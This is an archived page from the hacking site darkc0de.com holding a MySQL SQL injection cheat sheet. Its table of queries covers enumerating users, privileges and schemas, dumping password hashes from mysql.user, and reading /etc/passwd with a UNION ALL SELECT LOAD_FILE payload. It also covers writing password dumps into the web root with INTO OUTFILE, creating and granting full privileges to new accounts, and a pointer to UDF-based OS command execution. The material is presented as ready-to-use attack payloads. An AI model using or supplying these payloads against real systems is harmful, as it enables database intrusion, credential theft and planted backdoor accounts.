| 0. 1. 2. 3. 4. 5. 6. 7. 8. 9. 10. 11. 12. 13. 14. 15. 16. 17. 18. 19. 20. 21. 22. 23. 24. 25. 26. 27. 28. 29. 30. 31. 32. 33. 34. 35. 36. 37. 38. 39. 40. 41. 42. 43. 44. 45. 46. 47. 48. 49. 50. 51. 52. 53. 54. 55. 56. 57. 58. 59. 60. 61. 62. 63. 64. 65. 66. 67. 68. 69. 70. 71. 72. 73. 74. 75. 76. 77. 78. 79. 80. 81. 82. 83. 84. 85. 86. 87. 88. 89. 90. 91. 92. 93. 94. 95. 96. 97. 98. 99. 100. 101. 102. 103. 104. 105. 106. 107. 108. 109. 110. 111. 112. 113. 114. 115. 116. 117. 118. 119. 120. 121. 122. 123. 124. 125. 126. 127. 128. 129. 130. 131. 132. 133. 134. | <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<style type="text/css">
/* <![CDATA[ */
table, td
{
border-color: #353637;
border-style: solid;
}
table
{
border-width: 0 0 2px 2px;
border-spacing: 0;
border-collapse: collapse;
}
td
{
margin: 0;
padding: 10px;
border-width: 2px 2px 0 0;
}
/* ]]> */
</style>
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<link rel="shortcut icon" href="/websites/darkc0de.com/images/favicon.ico" type="image/x-icon" />
<head>
<meta http-equiv="Content-Type" content="text/html;charset=utf-8" />
<title>darkc0de.com [ MySQL SQL Injection Cheat Sheet ]</title>
<link rel="stylesheet" type="text/css" href="/websites/darkc0de.com/style.css" />
</head>
<body>
<div id="outer">
<div id="inner">
<div id="close"><a href="/websites/darkc0de.com/index.shtml" title="close and return to menu">X</a></div>
<div id="top"><a href="#top" title="back to top">^</a></div>
<!--greyed out links-->
<div class="bgtext">dark c0de</div>
<div id="text1">scanners</div>
<div id="text2">encryption</div>
<div id="text3">miscellaneous</div>
<div id="text4">bruteforce</div>
<div id="text5">irc-bots</div>
<div id="text6">others</div>
<div id="text7">development</div>
<div id="text8">py»exploits</div>
<div id="text10">[s3rvices]</div>
<div id="text11">Welcome:</div>
<div id="text13">Affiliates</div>
<div id="text14">[sn1ppets]</div>
<div id="text16">Viewed:</div>
<!--greyed out links end-->
<div id="urltext"><a href="/websites/darkc0de.com/index.shtml" class="navigurl" title="click to return to the index page">/home » </a>MySQL SQL Injection Cheat Sheet</div>
<div id="content">
<a name="top"></a>
<div class="titleblock">Welcome, 212.235.66.182</div>
Send all updates to <a href="mailto:d3hydr8[at]gmail[dot]com">[ d3hydr8[at]gmail[dot]com ]</a> or use the form below.
<div class="titleblock">Last Modified: Tuesday, 22-Sep-2009 10:11:04 EDT</div>
<br>
<center><form action="/websites/darkc0de.com/cgi-bin/getinput.py" method='post'>
<b>Submit: </b>
<textarea maxlength="30" onkeyup="return ismaxlength(this)" style="background-color:#B0C4DE" name = "message" rows = 1 cols = 40>Enter an update with full details.</textarea><br>
<input type="image" border="0" name="submit" value="send" src="/websites/darkc0de.com/images/submit.jpg"></form></center><br>
<ul><li><a href="/websites/darkc0de.com/database/oracle-cs.shtml">Oracle</a></li>
<li><a href="/websites/darkc0de.com/database/mssql-cs.shtml">MSSQL</a></li>
<li><a href="/websites/darkc0de.com/database/mysql-cs.shtml">MySQL</a></li>
<li><a href="/websites/darkc0de.com/database/postgres-cs.shtml">PostgreSQL</a></li>
<li><a href="/websites/darkc0de.com/database/ingres-cs.shtml">Ingres</a></li>
<li><a href="/websites/darkc0de.com/database/db2-cs.shtml">DB2</a></li>
<li><a href="/websites/darkc0de.com/database/msaccess-cs.shtml">MS Access</a></li></ul>
<br><br><center>
<table width="519">
<tbody><tr><td>Version<br></td><td>SELECT @@version </td></tr><tr><td>Comments </td><td>SELECT 1; #comment<br>SELECT /*comment*/1; </td></tr><tr><td>Current User <br></td><td>SELECT user();<br> SELECT system_user();<br></td></tr><tr><td>List Users</td><td>SELECT user FROM mysql.user; -- priv</td></tr><tr><td>List Password Hashes<br></td><td>SELECT host, user, password FROM mysql.user; -- priv<br></td></tr><tr><td>List Privileges</td><td><p>SELECT grantee, privilege_type, is_grantable FROM information_schema.user_privileges; -- list user privs </p><p>SELECT host, user, Select_priv, Insert_priv, Update_priv, Delete_priv, Create_priv, Drop_priv, Reload_priv, Shutdown_priv, Process_priv, File_priv, Grant_priv, References_priv, Index_priv, Alter_priv, Show_db_priv, Super_priv, Create_tmp_table_priv, Lock_tables_priv, Execute_priv, Repl_slave_priv, Repl_client_priv FROM mysql.user; -- priv, list user privs</p><p>SELECT grantee, table_schema, privilege_type FROM information_schema.schema_privileges; -- list privs on databases (schemas)</p><p>SELECT table_schema, table_name, column_name, privilege_type FROM information_schema.column_privileges; -- list privs on columns </p></td></tr><tr><td>List DBA Accounts</td><td><p>SELECT grantee, privilege_type, is_grantable FROM information_schema.user_privileges WHERE privilege_type = 'SUPER'; </p><p> SELECT host, user FROM mysql.user WHERE Super_priv = 'Y'; # priv</p></td></tr><tr><td>Current Database </td><td>SELECT database() </td></tr><tr><td>List Databases </td><td>SELECT schema_name FROM information_schema.schemata; -- for MySQL >= v5.0<br>SELECT distinct(db) FROM mysql.db -- priv<br></td></tr><tr><td>List Columns <br></td><td>SELECT table_schema, table_name, column_name FROM information_schema.columns WHERE table_schema != 'mysql' AND table_schema != 'information_schema'</td></tr><tr><td>List Tables </td><td>SELECT table_schema,table_name FROM information_schema.tables WHERE table_schema != 'mysql' AND table_schema != 'information_schema'</td></tr><tr><td>Find Tables From Column Name </td><td> SELECT table_schema, table_name FROM information_schema.columns WHERE column_name = 'username'; -- find table which have a column called 'username'<br></td></tr><tr><td>Select Nth Row</td><td><p>SELECT host,user FROM user ORDER BY host LIMIT 1 OFFSET 0; # rows numbered from 0<br>SELECT host,user FROM user ORDER BY host LIMIT 1 OFFSET 1; # rows numbered from 0</p></td></tr><tr><td>Select Nth Char <br></td><td>SELECT substr('abcd', 3, 1); # returns c<br></td></tr><tr><td>Bitwise AND <br></td><td>SELECT 6 & 2; # returns 2<br>SELECT 6 & 1; # returns 0<br></td></tr><tr><td><p>ASCII Value -> Char</p></td><td>SELECT char(65); # returns A<br></td></tr><tr><td>Char -> ASCII Value</td><td>SELECT ascii('A'); # returns 65<br></td></tr><tr><td>Casting</td><td>SELECT cast('1' AS unsigned integer);<br>SELECT cast('123' AS char);<br></td></tr><tr><td>String Concatenation</td><td> SELECT CONCAT('A','B'); #returns AB<br>SELECT CONCAT('A','B','C'); # returns ABC<br></td></tr><tr><td><p>If Statement</p></td><td> SELECT if(1=1,'foo','bar'); -- returns 'foo'<br></td></tr><tr><td>Case Statement</td><td> SELECT CASE WHEN (1=1) THEN 'A' ELSE 'B' END; # returns A<br></td></tr><tr><td>Avoiding Quotes <br></td><td>SELECT 0x414243; # returns ABC<br></td></tr><tr><td>Time Delay <br></td><td><span>SELECT BENCHMARK(1000000,MD5('A')</span></td></tr><tr><td>Make DNS Requests</td><td>Impossible?<br></td></tr><tr><td>Command Execution</td><td><p>If mysqld (<5.0) is running as root AND you compromise a DBA account you can execute OS commands by uploading a shared object file into /usr/lib (or similar). The .so file should contain a User Defined Function (UDF). <a href="http://www.0xdeadbeef.info/exploits/raptor_udf.c">raptor_udf.c</a> explains exactly how you go about this. Remember to compile for the target architecture which may or may not be the same as your attack platform. </p></td></tr><tr><td>Local File Access<br></td><td>...' UNION ALL SELECT LOAD_FILE('/etc/passwd') -- priv, can only read world-readable files.<br>SELECT * FROM mytable INTO dumpfile '/tmp/somefile'; -- priv, write to file system<br></td></tr><tr><td>Hostname, IP Address</td><td>Impossible?</td></tr><tr><td>Create Users<br></td><td>CREATE USER test1 IDENTIFIED BY 'pass1'; -- priv<br></td></tr><tr><td>Delete Users<br></td><td>DROP USER test1; -- priv</td></tr><tr><td>Make User DBA<br></td><td>GRANT ALL PRIVILEGES ON *.* TO test1@'%'; -- priv</td></tr><tr><td>Location of DB files<br></td><td>SELECT @@datadir; <br></td></tr><tr><td>Writing info into files<br></td><td>SELECT password FROM tablename WHERE username = 'root' INTO OUTFILE
'/path/location/on/server/www/passes.txt'
<br></td></tr><tr><td>Writing info into files without single quotes<br></td><td>SELECT password FROM tablename WHERE username =
CONCAT(CHAR(39),CHAR(97),CHAR(100),CHAR(109),CHAR(105),CHAR(110),CHAR( 39)) INTO
OUTFILE CONCAT(CHAR(39),CHAR(97),CHAR(100),CHAR(109),CHAR(105),CHAR(110),CHAR(
39))
Note: You must specify a new file, it may not exist! and give the correct
pathname!
SELECT password FROM tablename WHERE username = 'root' INTO OUTFILE
'/path/location/on/server/www/passes.txt'
<br></td></tr><tr><td>Insert a new user into DB
<br></td><td>INSERT INTO login SET user = 'r00t', pass = 'abc'
<br></td></tr></tbody></table>
<br>
<br>
<br><br>
<a href="/websites/darkc0de.com/store/advertise.html"><font color="white"><b>Advertise Here</b></a></font><br>
<script language="javascript">
zoneIdentifier="3F8D8B7CF6A06513";
var varCheckURL = (("https:" == document.location.protocol) ? "https://" : "http://");
document.write(unescape("%3Cscript src='" + varCheckURL + "adcode.adengage.com/bootstrap/ae.js' type='text/javascript'%3E%3C/script%3E"));
</script>
<br><br>
<b><font size="2" face="courier">This site is maintained by d3hydr8[at]gmail[dot]com
<br>darkc0de.com ™ © 2006-Now</font></b>
<br>
<br>
</center>
<br>
</ol>
<div class="titleblock">EOF</div>
</div>
</div>
</div>
</body>
</html>
|